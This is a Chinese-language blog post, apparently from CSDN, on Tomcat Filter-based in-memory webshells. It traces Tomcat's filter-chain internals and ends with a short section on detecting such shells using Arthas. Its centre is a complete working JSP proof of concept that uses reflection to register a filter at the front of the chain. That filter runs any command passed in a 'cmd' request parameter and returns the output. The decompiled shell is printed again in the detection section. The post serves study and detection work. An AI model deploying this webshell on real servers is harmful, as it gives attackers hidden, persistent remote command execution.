• [Java安全]—再探Filter内存马


    前言

    关于tomcat反序列化注入回显内存马问题中,就是通过filter内存马进行反序列化动态注册的,但filter内存马由于当时学的时候就没有学的很明白,所以打算重新回顾一下。

    前置知识

    Tomcat 与 Servlet 的关系

    Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

    1. Engine,实现类为 org.apache.catalina.core.StandardEngine
    2. Host,实现类为 org.apache.catalina.core.StandardHost
    3. Context,实现类为 org.apache.catalina.core.StandardContext
    4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
    • Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化),Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
    • Context 表示一个 Web 应用程序,而一个 Web 程序可 能有多个 Servlet(即:Wrapper)
    • Host 表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置 多个站点(Host);一个站点( Host) 可以部署多个 Web 应用(即:Context)
    • Engine 代表 引擎, 用于管理多个站点(Host),一个 Service 只能有 一个 Engine

    他们之间也就是一种父子关系:

    image-20221203081413310.png

    关键类

    • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
    • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
    • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
    • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
    • WebXml:存放 web.xml 中内容的类
    • ContextConfig:Web应用的上下文配置类
    • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
    • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

    原理

    Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。

    image-20220715213532387.png

    经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。

    Filter注册流程

    先看一个正常的demo

    filter.java

    package memoryshell;
    
    import javax.servlet.*;
    import java.io.IOException;
    
    public class filter implements Filter {
    
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("Filter 初始化创建");
        }
    
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("执行过滤操作");
            filterChain.doFilter(servletRequest,servletResponse);
        }
    
        public void destroy() {
            System.out.println("Filter 销毁");
        }
    }''
        ]]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    web.xml

    <filter>
        <filter-name>filterDemofilter-name>
        <filter-class>memoryshell.filterfilter-class>
    filter>
    <filter-mapping>
        <filter-name>filterDemofilter-name>
        <url-pattern>/*url-pattern>
    filter-mapping>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    运行后成功触发

    image-20220715112206095.png

    createFilterChain

    在 StandardWrapperValve 中会利用 ApplicationFilterFactory的createFilterChain()方法来创建filterChain

    image-20221203085929212.png

    跟进看一下,先通过请求获取到了filterChains,而此时其中没有任何值为null,所以又实例化了一个ApplicationFilterChain

    image-20221203101217812.png

    在下方获取到了wrapper的父类,根据前置知识中的tomcat与servlet关系也不难看出,warpper的父类也就是context,而context的实现类是StandardContext,因此在下方也可看出context的类型 也就是该类型。

    之后通过context获取到了filterMapper

    image-20221203092230143.png

    FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

    image-20221203092646247.png

    接着在下方会对FilterMap进行遍历

    image-20221203094140721.png

    ①:if判断,第一个matchDispatcher就不看了,就是匹配一下请求返回true,跟进下第二个matchFiltersURL()

    其实就是匹配URL中的请求与与 FilterMap 中的 urlPattern中的是否一直,这里由于是/*所以直接返回true了

    1%S8$G[06(ZZQ)EJD}04}JS.png

    ②:根据filterMap的filterName获取filterConfig(主要存放 FilterDef 和 Filter对象等信息),由于是第一轮遍历,因此也就获取到了我们自定义的filter类filterName

    ③:将 filterConfig 添加到 filterChain中,跟进addFilter函数

    image-20221203095156354.png

    在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)

    下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到了filters

    至此filterChain就装配完了

    doFilter

    回到createFilterChain的位置,继续向下看,调用了doFilter()

    image-20221203095757459.png

    跟进后下边又调用了internalDoFilter()

    this.internalDoFilter(request, response);
    
    • 1

    image-20221203100147801.png

    ①:pos的默认值是0,所以filterConfig取出来的数据也就是filters[0],而在createFilterChain最后的addFilter函数中提到过,最后将我们的filterConfig 添加到了filters中,所以第一条数据就是我们自定义的filter类,第二条是tomcat原生的。因此这里第一轮遍历也就是获取到了自定义的filter

    ②:通过getFilter()获取自定义的filter类,并将该值赋给filter属性

    ③:调用filter属性的doFilter方法

    image-20221203100629137.png

    流程总结

    1. 获取context容器,并从中取出filterMap,接着根据filterMap获取filterConfig并将它追加到了filterChains中
    2. 将filterChains中封装的filters数据,赋值给filterConfig,filterConfig通过getFilter方法获取到了自定义的filter类
    3. 调用该类的doFilter方法

    内存马注入

    获取context

    在上边流程中提到,首先是通过StandardContext类型的context属性中获取的filterMap,那么我们如何获取这个context 呢?

    当Web容器启动时,都会创建一个ServletContext上下文环境

    context是ApplicationContext类型的,而ApplicationContext又是ServletContext的实现类,因此可以通过该方式,将ServletContext转为 StandardContext 从而获取context

    ServletContext servletContext = req.getSession().getServletContext();
    Field context = servletContext.getClass().getDeclaredField("context");
    context.setAccessible(true);
    // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
    Field context1 = applicationContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    // 这样我们就获取到了 context
    StandardContext standardContext = (StandardContext) context1.get(applicationContext);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    还有其他的获取方法:

    从线程中获取StandardContext

    如果没有request对象的话可以从当前线程中获取

    https://zhuanlan.zhihu.com/p/114625962

    从MBean中获取

    https://scriptboy.cn/p/tomcat-filter-inject/

    注入内存马

    解决了context问题后,可以根据上边流程发现,其实主要就是用到了三个属性filterMapfilterConfigfilterDef

    • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
    • filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
    • filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
    1. 创建恶意 Filter类
            //1、创建恶意filter类
    		Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
    
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
            };
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    2、利用 FilterDef 对 Filter 进行封装并添加到FilterDefs中

    //2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("Sentiment");
    filterDef.setFilterClass(filter.getClass().getName());
    
    // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
    standardContext.addFilterDef(filterDef);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    3、将FilterDefs 添加到FilterConfig

    //3、将FilterDefs 添加到FilterConfig
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put("Sentiment",filterConfig);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这里需要注意:

    像FilterDef、FilterMap是都有对应的add方法的,但是FilterConfig没有,因此是通过反射获取filterConfigs属性进行的赋值

    image-20221203125621694.png

    4、创建 FilterMap ,将Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效有先后顺序,所以将自定义的filter放在最前面,让我们的 Filter 最先触发)

    //4、创建一个filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("Sentiment");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    //将自定义的filter放到最前边执行
    standardContext.addFilterMapBefore(filterMap);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    最终POC

    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.util.Map" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
    
    <%
        ServletContext servletContext = request.getSession().getServletContext();
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
    
        // ApplicationContext 为 ServletContext 的实现类
        ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
        Field context1 = applicationContext.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        // 这样我们就获取到了 context
        StandardContext standardContext = (StandardContext) context1.get(applicationContext);
    
        //1、创建恶意filter类
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
    
            }
    
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }
    
            @Override
            public void destroy() {
    
            }
        };
        //2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName("Sentiment");
        filterDef.setFilterClass(filter.getClass().getName());
    
        // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
        standardContext.addFilterDef(filterDef);
    
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);
    
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        filterConfigs.put("Sentiment",filterConfig);
    
        //4、创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName("Sentiment");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //将自定义的filter放到最前边执行
        standardContext.addFilterMapBefore(filterMap);
    
        out.print("Inject Success !");
    
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79

    访问filter.jsp,注入成功

    image-20221203125837558.png

    成功执行命令

    image-20221203125908930.png

    内存马检测工具

    arthas:https://arthas.aliyun.com/arthas-boot.jar

    alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)

    java -jar arthas-boot.jar
    
    • 1

    选择我们 Tomcat 的进程

    输入1进入进程

    利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类

    利用jad --source-only org.apache.jsp.filter_jsp$1 直接将 Class 进行反编译

    可以监控进程,当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

    D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
    [INFO] arthas-boot version: 3.6.2
    [INFO] Process 13212 already using port 3658
    [INFO] Process 13212 already using port 8563
    [INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
    * [1]: 13212 org.apache.catalina.startup.Bootstrap
      [2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36
      [3]: 11480 org.jetbrains.jps.cmdline.Launcher
      [4]: 19916
    1
    [INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
    [INFO] The target process already listen port 3658, skip attach.
    [INFO] arthas-client connect 127.0.0.1 3658
      ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
     /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
    |  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
    |  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
    `--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'
    
    wiki       https://arthas.aliyun.com/doc
    tutorials  https://arthas.aliyun.com/doc/arthas-tutorials.html
    version    3.6.2
    main_class
    pid        13212
    time       2022-12-03 12:10:04
    
    [arthas@13212]$ sc *.Filter
    com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
    com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
    com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
    javax.servlet.Filter
    javax.servlet.GenericFilter
    memoryshell.filter
    org.apache.catalina.filters.CsrfPreventionFilter
    org.apache.catalina.filters.CsrfPreventionFilterBase
    org.apache.catalina.filters.FilterBase
    org.apache.catalina.filters.HttpHeaderSecurityFilter
    org.apache.jsp.filter_jsp$1
    org.apache.tomcat.websocket.server.WsFilter
    Affect(row-cnt:12) cost in 7 ms.
    [arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1
            /*
             * Decompiled with CFR.
             *
             * Could not load the following classes:
             *  javax.servlet.Filter
             *  javax.servlet.FilterChain
             *  javax.servlet.FilterConfig
             *  javax.servlet.ServletException
             *  javax.servlet.ServletRequest
             *  javax.servlet.ServletResponse
             *  javax.servlet.http.HttpServletRequest
             */
            package org.apache.jsp;
    
            import java.io.IOException;
            import javax.servlet.Filter;
            import javax.servlet.FilterChain;
            import javax.servlet.FilterConfig;
            import javax.servlet.ServletException;
            import javax.servlet.ServletRequest;
            import javax.servlet.ServletResponse;
            import javax.servlet.http.HttpServletRequest;
    
            class filter_jsp.1
            implements Filter {
                filter_jsp.1() {
                }
    
                public void init(FilterConfig filterConfig) throws ServletException {
                }
    
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    /*173*/         HttpServletRequest req = (HttpServletRequest)servletRequest;
    /*174*/         if (req.getParameter("cmd") != null) {
    /*175*/             byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
    /*178*/             int len = process.getInputStream().read(bytes);
    /*179*/             servletResponse.getWriter().write(new String(bytes, 0, len));
    /*180*/             process.destroy();
    /*181*/             return;
                    }
    /*183*/         filterChain.doFilter(servletRequest, servletResponse);
                }
    
                public void destroy() {
                }
            }
    
    [arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
    Press Q or Ctrl+C to abort.
    Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
    method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
    ts=2022-12-03 12:23:35; [cost=0.7065ms] result=@ArrayList[
        @String[org.apache.jsp.filter_jsp$1],
        @String[memoryshell.filter],
        @String[org.apache.tomcat.websocket.server.WsFilter],
    ]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
  • 相关阅读:
    浮点型数据在内存中是如何存储的
    Kubernetes 中 RBAC、ServiceAccount 的区别和联系
    OneFlow v0.6.0正式发布
    第二范式
    CSS Layout
    Linux安装Redis
    Android AMS ATMS
    PTA 7-194 循环结构 —— 中国古代著名算题。趣味题目:物不知其数。
    osg实现三次样条Cardinal曲线
    19.7 Boost Asio 传输序列化数据
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/128160402